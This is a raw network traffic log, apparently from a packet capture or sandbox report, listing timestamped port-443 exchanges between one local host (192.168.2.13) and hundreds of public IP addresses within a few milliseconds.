Apr 14, 2024 03:59:49.695149899 CEST	1607	443	192.168.2.13	123.42.226.129
Apr 14, 2024 03:59:49.695158005 CEST	443	1607	123.42.226.129	192.168.2.13
Apr 14, 2024 03:59:49.695166111 CEST	443	1607	109.230.39.46	192.168.2.13
Apr 14, 2024 03:59:49.695172071 CEST	1607	443	192.168.2.13	118.16.220.102
Apr 14, 2024 03:59:49.695172071 CEST	1607	443	192.168.2.13	148.247.48.77
Apr 14, 2024 03:59:49.695175886 CEST	1607	443	192.168.2.13	94.135.19.217
Apr 14, 2024 03:59:49.695175886 CEST	1607	443	192.168.2.13	79.102.15.20
Apr 14, 2024 03:59:49.695175886 CEST	1607	443	192.168.2.13	109.143.207.29
Apr 14, 2024 03:59:49.695179939 CEST	443	1607	148.247.48.77	192.168.2.13
Apr 14, 2024 03:59:49.695179939 CEST	443	1607	118.16.220.102	192.168.2.13
Apr 14, 2024 03:59:49.695187092 CEST	1607	443	192.168.2.13	210.76.96.149
Apr 14, 2024 03:59:49.695187092 CEST	1607	443	192.168.2.13	37.176.168.181
Apr 14, 2024 03:59:49.695185900 CEST	1607	443	192.168.2.13	212.119.245.7
Apr 14, 2024 03:59:49.695185900 CEST	1607	443	192.168.2.13	37.35.183.62
Apr 14, 2024 03:59:49.695185900 CEST	1607	443	192.168.2.13	37.254.60.129
Apr 14, 2024 03:59:49.695187092 CEST	1607	443	192.168.2.13	94.174.67.67
Apr 14, 2024 03:59:49.695200920 CEST	1607	443	192.168.2.13	123.42.226.129
Apr 14, 2024 03:59:49.695202112 CEST	1607	443	192.168.2.13	210.109.18.90
Apr 14, 2024 03:59:49.695209026 CEST	1607	443	192.168.2.13	202.126.110.137
Apr 14, 2024 03:59:49.695208073 CEST	1607	443	192.168.2.13	210.103.231.134
Apr 14, 2024 03:59:49.695208073 CEST	1607	443	192.168.2.13	148.227.63.50
Apr 14, 2024 03:59:49.695218086 CEST	443	1607	202.126.110.137	192.168.2.13
Apr 14, 2024 03:59:49.695218086 CEST	443	1607	212.119.245.7	192.168.2.13
Apr 14, 2024 03:59:49.695221901 CEST	443	1607	148.227.63.50	192.168.2.13
Apr 14, 2024 03:59:49.695221901 CEST	1607	443	192.168.2.13	118.16.220.102
Apr 14, 2024 03:59:49.695223093 CEST	1607	443	192.168.2.13	148.247.48.77
Apr 14, 2024 03:59:49.695225954 CEST	443	1607	210.103.231.134	192.168.2.13
Apr 14, 2024 03:59:49.695229053 CEST	443	1607	37.35.183.62	192.168.2.13
Apr 14, 2024 03:59:49.695239067 CEST	443	1607	37.254.60.129	192.168.2.13
Apr 14, 2024 03:59:49.695244074 CEST	1607	443	192.168.2.13	117.92.75.204
Apr 14, 2024 03:59:49.695252895 CEST	443	1607	117.92.75.204	192.168.2.13
Apr 14, 2024 03:59:49.695261002 CEST	1607	443	192.168.2.13	148.227.63.50
Apr 14, 2024 03:59:49.695266008 CEST	1607	443	192.168.2.13	202.126.110.137
Apr 14, 2024 03:59:49.695265055 CEST	1607	443	192.168.2.13	210.34.199.208
Apr 14, 2024 03:59:49.695265055 CEST	1607	443	192.168.2.13	109.230.39.46
Apr 14, 2024 03:59:49.695265055 CEST	1607	443	192.168.2.13	5.39.89.52
Apr 14, 2024 03:59:49.695266008 CEST	1607	443	192.168.2.13	212.119.245.7
Apr 14, 2024 03:59:49.695266008 CEST	1607	443	192.168.2.13	37.35.183.62
Apr 14, 2024 03:59:49.695266008 CEST	1607	443	192.168.2.13	37.254.60.129
Apr 14, 2024 03:59:49.695276022 CEST	1607	443	192.168.2.13	210.103.231.134
Apr 14, 2024 03:59:49.695286989 CEST	1607	443	192.168.2.13	117.92.75.204
Apr 14, 2024 03:59:49.695286989 CEST	1607	443	192.168.2.13	117.138.205.89
Apr 14, 2024 03:59:49.695291996 CEST	1607	443	192.168.2.13	212.133.206.108
Apr 14, 2024 03:59:49.695297003 CEST	443	1607	117.138.205.89	192.168.2.13
Apr 14, 2024 03:59:49.695298910 CEST	443	1607	210.34.199.208	192.168.2.13
Apr 14, 2024 03:59:49.695300102 CEST	443	1607	212.133.206.108	192.168.2.13
Apr 14, 2024 03:59:49.695312023 CEST	443	1607	5.39.89.52	192.168.2.13
Apr 14, 2024 03:59:49.695317030 CEST	1607	443	192.168.2.13	118.169.72.137
Apr 14, 2024 03:59:49.695323944 CEST	443	1607	118.169.72.137	192.168.2.13
Apr 14, 2024 03:59:49.695326090 CEST	1607	443	192.168.2.13	79.19.140.195
Apr 14, 2024 03:59:49.695327997 CEST	1607	443	192.168.2.13	202.29.223.201
Apr 14, 2024 03:59:49.695333958 CEST	443	1607	79.19.140.195	192.168.2.13
Apr 14, 2024 03:59:49.695334911 CEST	443	1607	202.29.223.201	192.168.2.13
Apr 14, 2024 03:59:49.695343971 CEST	1607	443	192.168.2.13	212.133.206.108
Apr 14, 2024 03:59:49.695357084 CEST	1607	443	192.168.2.13	117.138.205.89
Apr 14, 2024 03:59:49.695357084 CEST	1607	443	192.168.2.13	79.19.140.195
Apr 14, 2024 03:59:49.695359945 CEST	1607	443	192.168.2.13	210.34.199.208
Apr 14, 2024 03:59:49.695359945 CEST	1607	443	192.168.2.13	5.39.89.52
Apr 14, 2024 03:59:49.695359945 CEST	1607	443	192.168.2.13	148.157.7.60
Apr 14, 2024 03:59:49.695362091 CEST	1607	443	192.168.2.13	118.169.72.137
Apr 14, 2024 03:59:49.695379019 CEST	1607	443	192.168.2.13	202.29.223.201
Apr 14, 2024 03:59:49.695384979 CEST	443	1607	148.157.7.60	192.168.2.13
Apr 14, 2024 03:59:49.695395947 CEST	1607	443	192.168.2.13	79.231.33.189
Apr 14, 2024 03:59:49.695395947 CEST	1607	443	192.168.2.13	178.157.185.61
Apr 14, 2024 03:59:49.695404053 CEST	1607	443	192.168.2.13	109.96.70.228
Apr 14, 2024 03:59:49.695414066 CEST	443	1607	109.96.70.228	192.168.2.13
Apr 14, 2024 03:59:49.695415974 CEST	443	1607	178.157.185.61	192.168.2.13
Apr 14, 2024 03:59:49.695424080 CEST	443	1607	79.231.33.189	192.168.2.13
Apr 14, 2024 03:59:49.695429087 CEST	1607	443	192.168.2.13	148.157.7.60
Apr 14, 2024 03:59:49.695429087 CEST	1607	443	192.168.2.13	42.25.216.36
Apr 14, 2024 03:59:49.695432901 CEST	1607	443	192.168.2.13	118.23.191.238
Apr 14, 2024 03:59:49.695440054 CEST	443	1607	118.23.191.238	192.168.2.13
Apr 14, 2024 03:59:49.695453882 CEST	1607	443	192.168.2.13	109.96.70.228
Apr 14, 2024 03:59:49.695456028 CEST	1607	443	192.168.2.13	5.221.59.66
Apr 14, 2024 03:59:49.695456028 CEST	443	1607	42.25.216.36	192.168.2.13
Apr 14, 2024 03:59:49.695462942 CEST	443	1607	5.221.59.66	192.168.2.13
Apr 14, 2024 03:59:49.695463896 CEST	1607	443	192.168.2.13	210.12.188.23
Apr 14, 2024 03:59:49.695466042 CEST	1607	443	192.168.2.13	79.231.33.189
Apr 14, 2024 03:59:49.695472002 CEST	443	1607	210.12.188.23	192.168.2.13
Apr 14, 2024 03:59:49.695472002 CEST	1607	443	192.168.2.13	118.249.123.156
Apr 14, 2024 03:59:49.695478916 CEST	443	1607	118.249.123.156	192.168.2.13
Apr 14, 2024 03:59:49.695482969 CEST	1607	443	192.168.2.13	118.23.191.238
Apr 14, 2024 03:59:49.695480108 CEST	1607	443	192.168.2.13	109.65.190.27
Apr 14, 2024 03:59:49.695480108 CEST	1607	443	192.168.2.13	178.157.185.61
Apr 14, 2024 03:59:49.695494890 CEST	1607	443	192.168.2.13	5.64.231.138
Apr 14, 2024 03:59:49.695502043 CEST	443	1607	5.64.231.138	192.168.2.13
Apr 14, 2024 03:59:49.695504904 CEST	443	1607	109.65.190.27	192.168.2.13
Apr 14, 2024 03:59:49.695513964 CEST	1607	443	192.168.2.13	5.221.59.66
Apr 14, 2024 03:59:49.695514917 CEST	1607	443	192.168.2.13	210.12.188.23
Apr 14, 2024 03:59:49.695522070 CEST	1607	443	192.168.2.13	117.112.106.171
Apr 14, 2024 03:59:49.695533991 CEST	443	1607	117.112.106.171	192.168.2.13
Apr 14, 2024 03:59:49.695537090 CEST	1607	443	192.168.2.13	118.249.123.156
Apr 14, 2024 03:59:49.695537090 CEST	1607	443	192.168.2.13	2.44.225.122
Apr 14, 2024 03:59:49.695538998 CEST	1607	443	192.168.2.13	5.64.231.138
Apr 14, 2024 03:59:49.695540905 CEST	1607	443	192.168.2.13	42.25.216.36
Apr 14, 2024 03:59:49.695542097 CEST	1607	443	192.168.2.13	109.65.190.27
Apr 14, 2024 03:59:49.695549965 CEST	443	1607	2.44.225.122	192.168.2.13
Apr 14, 2024 03:59:49.695554018 CEST	1607	443	192.168.2.13	109.153.149.203
Apr 14, 2024 03:59:49.695554018 CEST	1607	443	192.168.2.13	37.225.228.189
Apr 14, 2024 03:59:49.695558071 CEST	1607	443	192.168.2.13	2.29.191.228
Apr 14, 2024 03:59:49.695564985 CEST	443	1607	2.29.191.228	192.168.2.13
Apr 14, 2024 03:59:49.695566893 CEST	1607	443	192.168.2.13	117.112.106.171
Apr 14, 2024 03:59:49.695574045 CEST	443	1607	109.153.149.203	192.168.2.13
Apr 14, 2024 03:59:49.695580959 CEST	1607	443	192.168.2.13	117.99.225.80
Apr 14, 2024 03:59:49.695585012 CEST	443	1607	37.225.228.189	192.168.2.13
Apr 14, 2024 03:59:49.695591927 CEST	443	1607	117.99.225.80	192.168.2.13
Apr 14, 2024 03:59:49.695591927 CEST	1607	443	192.168.2.13	94.244.221.62
Apr 14, 2024 03:59:49.695594072 CEST	1607	443	192.168.2.13	5.13.197.144
Apr 14, 2024 03:59:49.695600033 CEST	443	1607	94.244.221.62	192.168.2.13
Apr 14, 2024 03:59:49.695614100 CEST	443	1607	5.13.197.144	192.168.2.13
Apr 14, 2024 03:59:49.695615053 CEST	1607	443	192.168.2.13	2.29.191.228
Apr 14, 2024 03:59:49.695619106 CEST	1607	443	192.168.2.13	2.44.225.122
Apr 14, 2024 03:59:49.695620060 CEST	1607	443	192.168.2.13	109.153.149.203
Apr 14, 2024 03:59:49.695620060 CEST	1607	443	192.168.2.13	37.225.228.189
Apr 14, 2024 03:59:49.695624113 CEST	1607	443	192.168.2.13	117.99.225.80
Apr 14, 2024 03:59:49.695631027 CEST	1607	443	192.168.2.13	148.49.18.157
Apr 14, 2024 03:59:49.695633888 CEST	1607	443	192.168.2.13	94.244.221.62
Apr 14, 2024 03:59:49.695633888 CEST	1607	443	192.168.2.13	118.91.103.231
Apr 14, 2024 03:59:49.695637941 CEST	443	1607	148.49.18.157	192.168.2.13
Apr 14, 2024 03:59:49.695646048 CEST	443	1607	118.91.103.231	192.168.2.13
Apr 14, 2024 03:59:49.695656061 CEST	1607	443	192.168.2.13	5.13.197.144
Apr 14, 2024 03:59:49.695667982 CEST	1607	443	192.168.2.13	178.126.189.87
Apr 14, 2024 03:59:49.695672989 CEST	1607	443	192.168.2.13	148.49.18.157
Apr 14, 2024 03:59:49.695673943 CEST	1607	443	192.168.2.13	37.153.162.69
Apr 14, 2024 03:59:49.695673943 CEST	1607	443	192.168.2.13	118.63.157.32
Apr 14, 2024 03:59:49.695676088 CEST	443	1607	178.126.189.87	192.168.2.13
Apr 14, 2024 03:59:49.695682049 CEST	1607	443	192.168.2.13	42.22.15.231
Apr 14, 2024 03:59:49.695682049 CEST	1607	443	192.168.2.13	2.33.89.31
Apr 14, 2024 03:59:49.695683956 CEST	443	1607	37.153.162.69	192.168.2.13
Apr 14, 2024 03:59:49.695689917 CEST	1607	443	192.168.2.13	118.91.103.231
Apr 14, 2024 03:59:49.695689917 CEST	443	1607	118.63.157.32	192.168.2.13
Apr 14, 2024 03:59:49.695689917 CEST	1607	443	192.168.2.13	117.98.65.153
Apr 14, 2024 03:59:49.695693970 CEST	1607	443	192.168.2.13	210.250.243.11
Apr 14, 2024 03:59:49.695700884 CEST	443	1607	210.250.243.11	192.168.2.13
Apr 14, 2024 03:59:49.695700884 CEST	443	1607	42.22.15.231	192.168.2.13
Apr 14, 2024 03:59:49.695703983 CEST	443	1607	117.98.65.153	192.168.2.13
Apr 14, 2024 03:59:49.695709944 CEST	1607	443	192.168.2.13	5.135.53.183
Apr 14, 2024 03:59:49.695709944 CEST	1607	443	192.168.2.13	178.126.189.87
Apr 14, 2024 03:59:49.695712090 CEST	443	1607	2.33.89.31	192.168.2.13
Apr 14, 2024 03:59:49.695715904 CEST	443	1607	5.135.53.183	192.168.2.13
Apr 14, 2024 03:59:49.695720911 CEST	1607	443	192.168.2.13	37.153.162.69
Apr 14, 2024 03:59:49.695730925 CEST	1607	443	192.168.2.13	118.63.157.32
Apr 14, 2024 03:59:49.695734024 CEST	1607	443	192.168.2.13	42.22.15.231
Apr 14, 2024 03:59:49.695749044 CEST	1607	443	192.168.2.13	210.250.243.11
Apr 14, 2024 03:59:49.695780993 CEST	1607	443	192.168.2.13	117.98.65.153
Apr 14, 2024 03:59:49.695780993 CEST	1607	443	192.168.2.13	5.135.53.183
Apr 14, 2024 03:59:49.695785999 CEST	1607	443	192.168.2.13	2.33.89.31
Apr 14, 2024 03:59:49.695853949 CEST	1607	443	192.168.2.13	2.209.117.248
Apr 14, 2024 03:59:49.695863008 CEST	443	1607	2.209.117.248	192.168.2.13
Apr 14, 2024 03:59:49.695874929 CEST	1607	443	192.168.2.13	94.102.217.206
Apr 14, 2024 03:59:49.695878983 CEST	1607	443	192.168.2.13	37.112.131.106
Apr 14, 2024 03:59:49.695883036 CEST	443	1607	94.102.217.206	192.168.2.13
Apr 14, 2024 03:59:49.695888042 CEST	443	1607	37.112.131.106	192.168.2.13
Apr 14, 2024 03:59:49.695904970 CEST	1607	443	192.168.2.13	212.31.151.104
Apr 14, 2024 03:59:49.695915937 CEST	1607	443	192.168.2.13	2.209.117.248
Apr 14, 2024 03:59:49.695919991 CEST	1607	443	192.168.2.13	5.42.99.185
Apr 14, 2024 03:59:49.695920944 CEST	443	1607	212.31.151.104	192.168.2.13
Apr 14, 2024 03:59:49.695924997 CEST	1607	443	192.168.2.13	5.118.223.153
Apr 14, 2024 03:59:49.695925951 CEST	1607	443	192.168.2.13	79.78.85.211
Apr 14, 2024 03:59:49.695930958 CEST	443	1607	5.42.99.185	192.168.2.13
Apr 14, 2024 03:59:49.695934057 CEST	443	1607	5.118.223.153	192.168.2.13
Apr 14, 2024 03:59:49.695945024 CEST	1607	443	192.168.2.13	94.102.217.206
Apr 14, 2024 03:59:49.695945978 CEST	443	1607	79.78.85.211	192.168.2.13
Apr 14, 2024 03:59:49.695959091 CEST	1607	443	192.168.2.13	5.42.99.185
Apr 14, 2024 03:59:49.695970058 CEST	1607	443	192.168.2.13	118.230.136.206
Apr 14, 2024 03:59:49.695970058 CEST	1607	443	192.168.2.13	5.118.223.153
Apr 14, 2024 03:59:49.695971012 CEST	1607	443	192.168.2.13	37.112.131.106
Apr 14, 2024 03:59:49.695971012 CEST	1607	443	192.168.2.13	94.92.89.234
Apr 14, 2024 03:59:49.695972919 CEST	1607	443	192.168.2.13	118.33.185.219
Apr 14, 2024 03:59:49.695979118 CEST	443	1607	118.230.136.206	192.168.2.13
Apr 14, 2024 03:59:49.695981026 CEST	443	1607	118.33.185.219	192.168.2.13
Apr 14, 2024 03:59:49.695981026 CEST	443	1607	94.92.89.234	192.168.2.13
Apr 14, 2024 03:59:49.695997953 CEST	1607	443	192.168.2.13	212.31.151.104
Apr 14, 2024 03:59:49.695997953 CEST	1607	443	192.168.2.13	123.176.182.91
Apr 14, 2024 03:59:49.696002960 CEST	1607	443	192.168.2.13	79.78.85.211
Apr 14, 2024 03:59:49.696017027 CEST	1607	443	192.168.2.13	118.230.136.206
Apr 14, 2024 03:59:49.696019888 CEST	1607	443	192.168.2.13	94.92.89.234
Apr 14, 2024 03:59:49.696018934 CEST	443	1607	123.176.182.91	192.168.2.13
Apr 14, 2024 03:59:49.696029902 CEST	1607	443	192.168.2.13	118.33.185.219
Apr 14, 2024 03:59:49.696046114 CEST	1607	443	192.168.2.13	117.249.33.107
Apr 14, 2024 03:59:49.696046114 CEST	1607	443	192.168.2.13	94.51.6.164
Apr 14, 2024 03:59:49.696072102 CEST	1607	443	192.168.2.13	118.100.19.188
Apr 14, 2024 03:59:49.696072102 CEST	443	1607	117.249.33.107	192.168.2.13
Apr 14, 2024 03:59:49.696080923 CEST	443	1607	118.100.19.188	192.168.2.13
Apr 14, 2024 03:59:49.696084023 CEST	443	1607	94.51.6.164	192.168.2.13
Apr 14, 2024 03:59:49.696084976 CEST	1607	443	192.168.2.13	117.18.94.135
Apr 14, 2024 03:59:49.696091890 CEST	443	1607	117.18.94.135	192.168.2.13
Apr 14, 2024 03:59:49.696094036 CEST	1607	443	192.168.2.13	123.176.182.91
Apr 14, 2024 03:59:49.696111917 CEST	1607	443	192.168.2.13	118.100.19.188
Apr 14, 2024 03:59:49.696121931 CEST	1607	443	192.168.2.13	94.162.128.183
Apr 14, 2024 03:59:49.696124077 CEST	1607	443	192.168.2.13	117.249.33.107
Apr 14, 2024 03:59:49.696125031 CEST	1607	443	192.168.2.13	94.51.6.164
Apr 14, 2024 03:59:49.696129084 CEST	443	1607	94.162.128.183	192.168.2.13
Apr 14, 2024 03:59:49.696130037 CEST	1607	443	192.168.2.13	117.18.94.135
Apr 14, 2024 03:59:49.696172953 CEST	1607	443	192.168.2.13	94.162.128.183
Apr 14, 2024 03:59:49.696182013 CEST	1607	443	192.168.2.13	178.182.56.107
Apr 14, 2024 03:59:49.696182013 CEST	1607	443	192.168.2.13	94.127.2.235
Apr 14, 2024 03:59:49.696191072 CEST	443	1607	178.182.56.107	192.168.2.13
Apr 14, 2024 03:59:49.696201086 CEST	443	1607	94.127.2.235	192.168.2.13
Apr 14, 2024 03:59:49.696202040 CEST	1607	443	192.168.2.13	148.224.62.69
Apr 14, 2024 03:59:49.696202040 CEST	1607	443	192.168.2.13	109.145.212.82
Apr 14, 2024 03:59:49.696202040 CEST	1607	443	192.168.2.13	210.20.115.254
Apr 14, 2024 03:59:49.696202040 CEST	1607	443	192.168.2.13	109.173.152.96
Apr 14, 2024 03:59:49.696204901 CEST	1607	443	192.168.2.13	212.168.151.180
Apr 14, 2024 03:59:49.696213007 CEST	443	1607	212.168.151.180	192.168.2.13
Apr 14, 2024 03:59:49.696213007 CEST	443	1607	109.145.212.82	192.168.2.13
Apr 14, 2024 03:59:49.696214914 CEST	443	1607	148.224.62.69	192.168.2.13
Apr 14, 2024 03:59:49.696235895 CEST	443	1607	210.20.115.254	192.168.2.13
Apr 14, 2024 03:59:49.696244955 CEST	1607	443	192.168.2.13	178.182.56.107
Apr 14, 2024 03:59:49.696244955 CEST	1607	443	192.168.2.13	94.127.2.235
Apr 14, 2024 03:59:49.696245909 CEST	443	1607	109.173.152.96	192.168.2.13
Apr 14, 2024 03:59:49.696261883 CEST	1607	443	192.168.2.13	212.168.151.180
Apr 14, 2024 03:59:49.696264029 CEST	1607	443	192.168.2.13	109.145.212.82
Apr 14, 2024 03:59:49.696275949 CEST	1607	443	192.168.2.13	148.224.62.69
Apr 14, 2024 03:59:49.696275949 CEST	1607	443	192.168.2.13	109.173.152.96
Apr 14, 2024 03:59:49.696275949 CEST	1607	443	192.168.2.13	210.20.115.254
Apr 14, 2024 03:59:49.696311951 CEST	1607	443	192.168.2.13	202.140.191.4
Apr 14, 2024 03:59:49.696311951 CEST	1607	443	192.168.2.13	109.234.230.197
Apr 14, 2024 03:59:49.696321964 CEST	443	1607	202.140.191.4	192.168.2.13
Apr 14, 2024 03:59:49.696326017 CEST	1607	443	192.168.2.13	42.150.15.137
Apr 14, 2024 03:59:49.696331978 CEST	1607	443	192.168.2.13	202.6.98.71
Apr 14, 2024 03:59:49.696333885 CEST	1607	443	192.168.2.13	118.4.240.234
Apr 14, 2024 03:59:49.696333885 CEST	443	1607	109.234.230.197	192.168.2.13
Apr 14, 2024 03:59:49.696335077 CEST	443	1607	42.150.15.137	192.168.2.13
Apr 14, 2024 03:59:49.696341038 CEST	443	1607	202.6.98.71	192.168.2.13
Apr 14, 2024 03:59:49.696341991 CEST	443	1607	118.4.240.234	192.168.2.13
Apr 14, 2024 03:59:49.696352005 CEST	1607	443	192.168.2.13	202.140.191.4
Apr 14, 2024 03:59:49.696350098 CEST	1607	443	192.168.2.13	94.79.9.145
Apr 14, 2024 03:59:49.696367979 CEST	1607	443	192.168.2.13	212.118.207.68
Apr 14, 2024 03:59:49.696371078 CEST	443	1607	94.79.9.145	192.168.2.13
Apr 14, 2024 03:59:49.696373940 CEST	1607	443	192.168.2.13	109.234.230.197
Apr 14, 2024 03:59:49.696374893 CEST	443	1607	212.118.207.68	192.168.2.13
Apr 14, 2024 03:59:49.696382046 CEST	1607	443	192.168.2.13	178.203.82.243
Apr 14, 2024 03:59:49.696382999 CEST	1607	443	192.168.2.13	118.4.240.234
Apr 14, 2024 03:59:49.696388006 CEST	1607	443	192.168.2.13	202.6.98.71
Apr 14, 2024 03:59:49.696391106 CEST	443	1607	178.203.82.243	192.168.2.13
Apr 14, 2024 03:59:49.696392059 CEST	1607	443	192.168.2.13	42.150.15.137
Apr 14, 2024 03:59:49.696393967 CEST	1607	443	192.168.2.13	109.18.163.27
Apr 14, 2024 03:59:49.696398973 CEST	1607	443	192.168.2.13	210.233.255.4
Apr 14, 2024 03:59:49.696398973 CEST	1607	443	192.168.2.13	212.194.153.151
Apr 14, 2024 03:59:49.696404934 CEST	443	1607	109.18.163.27	192.168.2.13
Apr 14, 2024 03:59:49.696412086 CEST	443	1607	210.233.255.4	192.168.2.13
Apr 14, 2024 03:59:49.696413994 CEST	443	1607	212.194.153.151	192.168.2.13
Apr 14, 2024 03:59:49.696418047 CEST	1607	443	192.168.2.13	178.203.82.243
Apr 14, 2024 03:59:49.696425915 CEST	1607	443	192.168.2.13	212.118.207.68
Apr 14, 2024 03:59:49.696425915 CEST	1607	443	192.168.2.13	210.61.51.253
Apr 14, 2024 03:59:49.696435928 CEST	443	1607	210.61.51.253	192.168.2.13
Apr 14, 2024 03:59:49.696440935 CEST	1607	443	192.168.2.13	109.18.163.27
Apr 14, 2024 03:59:49.696444988 CEST	1607	443	192.168.2.13	2.226.123.88
Apr 14, 2024 03:59:49.696449041 CEST	1607	443	192.168.2.13	210.233.255.4
Apr 14, 2024 03:59:49.696451902 CEST	1607	443	192.168.2.13	94.79.9.145
Apr 14, 2024 03:59:49.696453094 CEST	443	1607	2.226.123.88	192.168.2.13
Apr 14, 2024 03:59:49.696451902 CEST	1607	443	192.168.2.13	37.133.123.49
Apr 14, 2024 03:59:49.696451902 CEST	1607	443	192.168.2.13	212.194.153.151
Apr 14, 2024 03:59:49.696460962 CEST	1607	443	192.168.2.13	210.61.51.253
Apr 14, 2024 03:59:49.696475983 CEST	443	1607	37.133.123.49	192.168.2.13
Apr 14, 2024 03:59:49.696484089 CEST	1607	443	192.168.2.13	2.226.123.88
Apr 14, 2024 03:59:49.696495056 CEST	1607	443	192.168.2.13	210.44.95.195
Apr 14, 2024 03:59:49.696505070 CEST	443	1607	210.44.95.195	192.168.2.13
Apr 14, 2024 03:59:49.696511984 CEST	1607	443	192.168.2.13	212.183.187.199
Apr 14, 2024 03:59:49.696518898 CEST	1607	443	192.168.2.13	37.133.123.49
Apr 14, 2024 03:59:49.696522951 CEST	1607	443	192.168.2.13	212.109.73.65
Apr 14, 2024 03:59:49.696530104 CEST	443	1607	212.183.187.199	192.168.2.13
Apr 14, 2024 03:59:49.696530104 CEST	443	1607	212.109.73.65	192.168.2.13
Apr 14, 2024 03:59:49.696532965 CEST	1607	443	192.168.2.13	210.44.95.195
Apr 14, 2024 03:59:49.696551085 CEST	1607	443	192.168.2.13	212.75.73.185
Apr 14, 2024 03:59:49.696558952 CEST	443	1607	212.75.73.185	192.168.2.13
Apr 14, 2024 03:59:49.696567059 CEST	1607	443	192.168.2.13	212.109.73.65
Apr 14, 2024 03:59:49.696573973 CEST	1607	443	192.168.2.13	94.188.124.140
Apr 14, 2024 03:59:49.696582079 CEST	443	1607	94.188.124.140	192.168.2.13
Apr 14, 2024 03:59:49.696583986 CEST	1607	443	192.168.2.13	37.76.234.5
Apr 14, 2024 03:59:49.696584940 CEST	1607	443	192.168.2.13	202.199.92.252
Apr 14, 2024 03:59:49.696587086 CEST	1607	443	192.168.2.13	178.224.244.84
Apr 14, 2024 03:59:49.696587086 CEST	1607	443	192.168.2.13	118.136.128.40
Apr 14, 2024 03:59:49.696587086 CEST	1607	443	192.168.2.13	2.127.100.236
Apr 14, 2024 03:59:49.696594954 CEST	443	1607	37.76.234.5	192.168.2.13
Apr 14, 2024 03:59:49.696599007 CEST	443	1607	178.224.244.84	192.168.2.13
Apr 14, 2024 03:59:49.696604967 CEST	443	1607	118.136.128.40	192.168.2.13
Apr 14, 2024 03:59:49.696607113 CEST	443	1607	202.199.92.252	192.168.2.13
Apr 14, 2024 03:59:49.696609974 CEST	443	1607	2.127.100.236	192.168.2.13
Apr 14, 2024 03:59:49.696611881 CEST	1607	443	192.168.2.13	212.183.187.199
Apr 14, 2024 03:59:49.696613073 CEST	1607	443	192.168.2.13	5.19.116.170
Apr 14, 2024 03:59:49.696614027 CEST	1607	443	192.168.2.13	212.75.73.185
Apr 14, 2024 03:59:49.696614027 CEST	1607	443	192.168.2.13	79.25.205.64
Apr 14, 2024 03:59:49.696614027 CEST	1607	443	192.168.2.13	178.201.190.211
Apr 14, 2024 03:59:49.696615934 CEST	1607	443	192.168.2.13	42.217.3.130
Apr 14, 2024 03:59:49.696620941 CEST	443	1607	5.19.116.170	192.168.2.13
Apr 14, 2024 03:59:49.696625948 CEST	443	1607	42.217.3.130	192.168.2.13
Apr 14, 2024 03:59:49.696625948 CEST	443	1607	79.25.205.64	192.168.2.13
Apr 14, 2024 03:59:49.696636915 CEST	1607	443	192.168.2.13	148.183.53.205
Apr 14, 2024 03:59:49.696636915 CEST	1607	443	192.168.2.13	178.224.244.84
Apr 14, 2024 03:59:49.696640015 CEST	443	1607	178.201.190.211	192.168.2.13
Apr 14, 2024 03:59:49.696645975 CEST	443	1607	148.183.53.205	192.168.2.13
Apr 14, 2024 03:59:49.696649075 CEST	1607	443	192.168.2.13	94.188.124.140
Apr 14, 2024 03:59:49.696649075 CEST	1607	443	192.168.2.13	94.190.30.237
Apr 14, 2024 03:59:49.696652889 CEST	1607	443	192.168.2.13	37.76.234.5
Apr 14, 2024 03:59:49.696652889 CEST	1607	443	192.168.2.13	202.199.92.252
Apr 14, 2024 03:59:49.696655989 CEST	1607	443	192.168.2.13	118.136.128.40
Apr 14, 2024 03:59:49.696655989 CEST	1607	443	192.168.2.13	2.127.100.236
Apr 14, 2024 03:59:49.696660042 CEST	443	1607	94.190.30.237	192.168.2.13
Apr 14, 2024 03:59:49.696665049 CEST	1607	443	192.168.2.13	79.25.205.64
Apr 14, 2024 03:59:49.696665049 CEST	1607	443	192.168.2.13	178.201.190.211
Apr 14, 2024 03:59:49.696676016 CEST	1607	443	192.168.2.13	5.19.116.170
Apr 14, 2024 03:59:49.696688890 CEST	1607	443	192.168.2.13	42.217.3.130
Apr 14, 2024 03:59:49.696697950 CEST	1607	443	192.168.2.13	148.183.53.205
Apr 14, 2024 03:59:49.696734905 CEST	1607	443	192.168.2.13	37.238.103.85
Apr 14, 2024 03:59:49.696738958 CEST	1607	443	192.168.2.13	94.190.30.237
Apr 14, 2024 03:59:49.696743011 CEST	443	1607	37.238.103.85	192.168.2.13
Apr 14, 2024 03:59:49.696753025 CEST	1607	443	192.168.2.13	79.246.247.70
Apr 14, 2024 03:59:49.696762085 CEST	443	1607	79.246.247.70	192.168.2.13
Apr 14, 2024 03:59:49.696772099 CEST	1607	443	192.168.2.13	37.241.6.94
Apr 14, 2024 03:59:49.696772099 CEST	1607	443	192.168.2.13	202.99.157.220
Apr 14, 2024 03:59:49.696774960 CEST	1607	443	192.168.2.13	178.234.52.120
Apr 14, 2024 03:59:49.696774960 CEST	1607	443	192.168.2.13	148.223.243.107
Apr 14, 2024 03:59:49.696779966 CEST	1607	443	192.168.2.13	37.238.103.85
Apr 14, 2024 03:59:49.696779966 CEST	443	1607	37.241.6.94	192.168.2.13
Apr 14, 2024 03:59:49.696782112 CEST	443	1607	178.234.52.120	192.168.2.13
Apr 14, 2024 03:59:49.696789026 CEST	443	1607	148.223.243.107	192.168.2.13
Apr 14, 2024 03:59:49.696795940 CEST	443	1607	202.99.157.220	192.168.2.13
Apr 14, 2024 03:59:49.696799040 CEST	1607	443	192.168.2.13	79.246.247.70
Apr 14, 2024 03:59:49.696819067 CEST	1607	443	192.168.2.13	37.241.6.94
Apr 14, 2024 03:59:49.696822882 CEST	1607	443	192.168.2.13	178.234.52.120
Apr 14, 2024 03:59:49.696836948 CEST	1607	443	192.168.2.13	148.223.243.107
Apr 14, 2024 03:59:49.696856976 CEST	1607	443	192.168.2.13	202.99.157.220
Apr 14, 2024 03:59:49.696857929 CEST	1607	443	192.168.2.13	118.196.206.131
Apr 14, 2024 03:59:49.696866989 CEST	443	1607	118.196.206.131	192.168.2.13
Apr 14, 2024 03:59:49.696887970 CEST	1607	443	192.168.2.13	109.76.0.243
Apr 14, 2024 03:59:49.696890116 CEST	1607	443	192.168.2.13	5.196.174.109
Apr 14, 2024 03:59:49.696898937 CEST	443	1607	109.76.0.243	192.168.2.13
Apr 14, 2024 03:59:49.696899891 CEST	443	1607	5.196.174.109	192.168.2.13
Apr 14, 2024 03:59:49.696903944 CEST	1607	443	192.168.2.13	148.71.109.158
Apr 14, 2024 03:59:49.696904898 CEST	1607	443	192.168.2.13	118.196.206.131
Apr 14, 2024 03:59:49.696907043 CEST	1607	443	192.168.2.13	118.50.199.40
